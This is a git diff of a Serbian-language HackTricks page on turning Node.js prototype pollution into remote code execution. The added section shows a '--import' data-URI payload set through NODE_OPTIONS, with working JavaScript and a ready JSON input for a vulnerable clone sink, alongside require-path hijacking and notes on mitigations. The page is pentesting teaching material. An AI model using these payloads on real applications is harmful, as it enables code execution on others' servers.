diff --git a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md index ebfd4ca0d..17f32ecfb 100644 --- a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md +++ b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md @@ -1,8 +1,8 @@ -# Zagađenje prototipa do RCE +# Prototype Pollution to RCE {{#include ../../../banners/hacktricks-training.md}} -## Ranjivi kod +## Vulnerable Code Zamislite pravi JS koji koristi neki kod poput sledećeg: ```javascript @@ -37,11 +37,11 @@ clone(USERINPUT) // Create an a_file.js file in the current dir: `echo a=2 > a_file.js` var proc = fork("a_file.js") ``` -## PP2RCE putem env var +## PP2RCE putem env varijabli **PP2RCE** znači **Zagađenje prototipa do RCE** (Daljinsko izvršavanje koda). -Prema ovom [**izveštaju**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), kada se **proces pokrene** nekom metodom iz **`child_process`** (kao što su `fork` ili `spawn` ili drugi), poziva se metoda `normalizeSpawnArguments` koja je **alat za zagađenje prototipa za kreiranje novih env var**: +Prema ovom [**izveštaju**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), kada se **proces pokrene** nekom metodom iz **`child_process`** (kao što su `fork` ili `spawn` ili drugi), poziva metodu `normalizeSpawnArguments` koja je **alat za zagađenje prototipa za kreiranje novih env varijabli**: ```javascript //See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686 @@ -61,15 +61,15 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution } } ``` -Proverite taj kod, možete videti da je moguće **poison `envPairs`** samo zagađivanjem **atributa `.env`.** +Proverite taj kod, možete videti da je moguće **otrovati `envPairs`** samo **zagađujući** **atribut `.env`.** ### **Zagađivanje `__proto__`** > [!WARNING] -> Imajte na umu da zbog načina na koji funkcija **`normalizeSpawnArguments`** iz biblioteke **`child_process`** u node-u funkcioniše, kada se nešto pozove kako bi se **postavila nova env varijabla** za proces, potrebno je samo **zagađivanje bilo čega**.\ +> Imajte na umu da zbog načina na koji funkcija **`normalizeSpawnArguments`** iz biblioteke **`child_process`** u nodu funkcioniše, kada se nešto pozove kako bi se **postavila nova env varijabla** za proces, samo treba da **zagađujete bilo šta**.\ > Na primer, ako uradite `__proto__.avar="valuevar"` proces će biti pokrenut sa varijablom pod imenom `avar` sa vrednošću `valuevar`. > -> Međutim, da bi **env varijabla bila prva**, potrebno je **zagađivanje** **atributa `.env`** i (samo u nekim metodama) ta varijabla će biti **prva** (omogućavajući napad). +> Međutim, da bi **env varijabla bila prva**, morate da **zagađujete** **atribut `.env`** i (samo u nekim metodama) ta varijabla će biti **prva** (omogućavajući napad). > > Zato **`NODE_OPTIONS`** **nije unutar `.env`** u sledećem napadu. ```javascript @@ -149,9 +149,50 @@ clone(USERINPUT) var proc = fork("a_file.js") // This should create the file /tmp/pp2rec ``` +## Filesystem-less PP2RCE via `--import` (Node ≥ 19) + +> [!NOTE] +> Pošto **Node.js 19** CLI zastavica `--import` može biti prosleđena kroz `NODE_OPTIONS` na isti način kao `--require`. Za razliku od `--require`, `--import` razume **data-URI** tako da napadač uopšte **ne treba pristup za pisanje u fajl sistem**. Ovo čini uređaj mnogo pouzdanijim u zaključanim ili samo za čitanje okruženjima. +> +> Ova tehnika je prvi put javno dokumentovana od strane PortSwigger istraživanja u maju 2023. i od tada je reprodukovana u nekoliko CTF izazova. + +Napad je konceptualno identičan trikovima `--require /proc/self/*` prikazanim iznad, ali umesto da upućujemo na fajl, direktno ugrađujemo payload u base64-encoded `data:` URL: +```javascript +const { fork } = require("child_process") + +// Manual pollution +b = {} + +// Javascript that is executed once Node parses the import URL +const js = "require('child_process').execSync('touch /tmp/pp2rce_import')"; +const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`; + +b.__proto__.NODE_OPTIONS = `--import ${payload}`; +// any key that will force spawn (fork) – same as earlier examples +fork("./a_file.js"); +``` +Zloupotreba ranjivog merge/clone sink-a prikazanog na vrhu stranice: +```javascript +USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}'); +clone(USERINPUT); + +// Gadget trigger +fork("./a_file.js"); +// → creates /tmp/pp2rce_import +``` +### Zašto `--import` pomaže +1. **Nema interakcije sa diskom** – payload putuje potpuno unutar komandne linije procesa i okruženja. +2. **Radi sa ESM-okruženjima** – `--import` je kanonski način za pre-load JavaScript-a u modernim Node verzijama koje podrazumevaju ECMAScript Module. +3. **Obilazi neka `--require` dozvoljena lista** – nekoliko biblioteka za učvršćivanje filtrira samo `--require`, ostavljajući `--import` netaknutim. + +> [!WARNING] +> Podrška za `--import` u `NODE_OPTIONS` je još uvek prisutna u najnovijem **Node 22.2.0** (jun 2025). Tim za razvoj Node-a raspravlja o ograničavanju data-URI u budućnosti, ali nijedna mitigacija nije dostupna u trenutku pisanja. + +--- + ## DNS Interakcija -Korišćenjem sledećih payload-a moguće je zloupotrebiti NODE_OPTIONS env var koji smo prethodno diskutovali i detektovati da li je to uspelo putem DNS interakcije: +Korišćenjem sledećih payload-a moguće je zloupotrebiti NODE_OPTIONS env var koji smo prethodno diskutovali i detektovati da li je to uspelo uz DNS interakciju: ```json { "__proto__": { @@ -227,7 +268,7 @@ var proc = execFile("/usr/bin/node") // Windows - not working ``` -Za **`execFile`** da radi, **MORA** izvršiti node da bi NODE_OPTIONS radili.\ +Za **`execFile`** da funkcioniše, **MORA** izvršiti node da bi NODE_OPTIONS radili.\ Ako **ne** izvršava **node**, treba da pronađeš kako možeš **izmeniti izvršenje** onoga što se izvršava **pomoću promenljivih okruženja** i postaviti ih. **Ostale** tehnike **rade** bez ovog zahteva jer je **moguće modifikovati** **ono što se izvršava** putem zagađenja prototipa. (U ovom slučaju, čak i ako možeš zagađivati `.shell`, nećeš zagađivati ono što se izvršava). @@ -461,18 +502,18 @@ var proc = spawnSync("something") ``` -## Prisiljavanje Spawn +## Prisilno pokretanje -U prethodnim primerima ste videli kako da aktivirate gadget, funkcionalnost koja **poziva `spawn`** mora biti **prisutna** (sve metode **`child_process`** koje se koriste za izvršavanje nečega je pozivaju). U prethodnom primeru to je bila **deo koda**, ali šta ako kod **ne** poziva to. +U prethodnim primerima ste videli kako da aktivirate gadget, funkcionalnost koja **poziva `spawn`** mora biti **prisutna** (sve metode **`child_process`** koje se koriste za izvršavanje nečega je pozivaju). U prethodnom primeru to je bilo **deo koda**, ali šta ako kod **ne poziva** to. -### Kontrolisanje putanje do require fajla +### Kontrola putanje do require datoteke -U ovom [**drugom izveštaju**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) korisnik može kontrolisati putanju fajla gde će biti izvršen **`require`**. U toj situaciji napadaču je potrebno samo da **pronađe `.js` fajl unutar sistema** koji će **izvršiti spawn metodu kada se importuje.**\ -Neki primeri uobičajenih fajlova koji pozivaju spawn funkciju kada se importuju su: +U ovom [**drugom izveštaju**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) korisnik može kontrolisati putanju datoteke gde će biti izvršen **`require`**. U tom scenariju napadač samo treba da **pronađe `.js` datoteku unutar sistema** koja će **izvršiti metodu spawn kada se importuje.**\ +Neki primeri uobičajenih datoteka koje pozivaju spawn funkciju kada se importuju su: - /path/to/npm/scripts/changelog.js - /opt/yarn-v1.22.19/preinstall.js -- Pronađite **više fajlova ispod** +- Pronađite **više datoteka ispod** Sledeći jednostavan skript će pretraživati **pozive** iz **child_process** **bez ikakvog razmaka** (da bi se izbeglo prikazivanje poziva unutar funkcija): ```bash @@ -507,7 +548,7 @@ Međutim, ako se kod izvršava zahtev nakon zagađenja prototipa, čak i ako **n Stoga, ako se zahtev izvrši nakon vašeg zagađenja prototipa i nema funkcije spawn, ovo je napad: - Pronađite **`.js` datoteku unutar sistema** koja kada bude **zahtjevana** će **izvršiti nešto koristeći `child_process`** -- Ako možete da otpremite datoteke na platformu koju napadate, možete otpremiti takvu datoteku +- Ako možete da otpremite datoteke na platformu koju napadate, možete otpremiti datoteku poput te - Zagađujte putanje da **prisilite učitavanje `.js` datoteke** koja će izvršiti nešto sa child_process - **Zagađujte environ/cmdline** da izvršite proizvoljan kod kada se pozove funkcija za izvršavanje child_process (vidi inicijalne tehnike) @@ -554,12 +595,12 @@ fork("anything") {{#endtab}} {{#endtabs}} -#### Relativno zahtevanje - 1 +#### Relativna putanja - 1 -Ako se umesto apsolutne putanje učita **relativna putanja**, možete naterati node da **učita drugu putanju**: +Ako se učita **relativna putanja** umesto apsolutne putanje, možete naterati node da **učita drugu putanju**: {{#tabs}} -{{#tab name="eksploit"}} +{{#tab name="exploit"}} ```javascript // Create a file called malicious.js in /tmp // Contents of malicious.js in the other tab @@ -636,7 +677,7 @@ fork("/path/to/anything") {{#endtab}} {{#endtabs}} -#### Relativno zahtevanje - 3 +#### Relative require - 3 Slično prethodnom, ovo je pronađeno u [**ovoj analizi**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs). ```javascript @@ -665,12 +706,16 @@ Međutim, kao i prethodne **`child_process`** metode, to je **ispravljeno** u na ## Fixes & Unexpected protections -Molimo vas da napomenete da prototipsko zagađenje funkcioniše ako je **atribut** objekta koji se pristupa **neodređen**. Ako je u **kodu** taj **atribut** **postavljen** na **vrednost**, nećete moći da ga **prepišete**. +Molimo vas da napomenete da prototipska zagađenja funkcionišu ako je **atribut** objekta koji se pristupa **neodređen**. Ako je u **kodu** taj **atribut** **postavljen** na **vrednost**, nećete moći da ga **prepišete**. U junu 2022. iz [**ovog commit-a**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) varijabla `options` umesto `{}` je **`kEmptyObject`**. Što **sprečava prototipsko zagađenje** da utiče na **atribute** **`options`** kako bi se dobio RCE.\ Bar od v18.4.0 ova zaštita je **implementirana**, i stoga `spawn` i `spawnSync` **eksploati** koji utiču na metode **više ne rade** (ako se ne koriste `options`!). -U [**ovom commit-u**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) je **prototipsko zagađenje** **`contextExtensions`** iz vm biblioteke **takođe donekle ispravljeno** postavljanjem opcija na **`kEmptyObject`** umesto **`{}`.** +U [**ovom commit-u**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) **prototipsko zagađenje** **`contextExtensions`** iz vm biblioteke je **takođe donekle ispravljeno** postavljanjem opcija na **`kEmptyObject`** umesto **`{}`.** + +> [!INFO] +> **Node 20 (april 2023) & Node 22 (april 2025)** doneli su dodatno učvršćivanje: nekoliko `child_process` pomoćnika sada kopira korisnički obezbeđene `options` sa **`CopyOptions()`** umesto da ih koristi po referenci. Ovo blokira zagađenje ugnježdenih objekata kao što je `stdio`, ali **ne štiti od `NODE_OPTIONS` / `--import` trikova** opisanih iznad – ti flagovi se i dalje prihvataju putem promenljivih okruženja. +> Potpuno rešenje bi moralo da ograniči koji CLI flagovi mogu biti propagirani iz roditeljskog procesa, što se prati u Node Issue #50559. ### **Other Gadgets** @@ -682,6 +727,8 @@ U [**ovom commit-u**](https://github.com/nodejs/node/commit/0313102aaabb49f78156 - [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) - [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/) - [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) +- [https://portswigger.net/research/prototype-pollution-node-no-filesystem](https://portswigger.net/research/prototype-pollution-node-no-filesystem) +- [https://www.nodejs-security.com/blog/2024/prototype-pollution-regression](https://www.nodejs-security.com/blog/2024/prototype-pollution-regression) - [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution) {{#include ../../../banners/hacktricks-training.md}}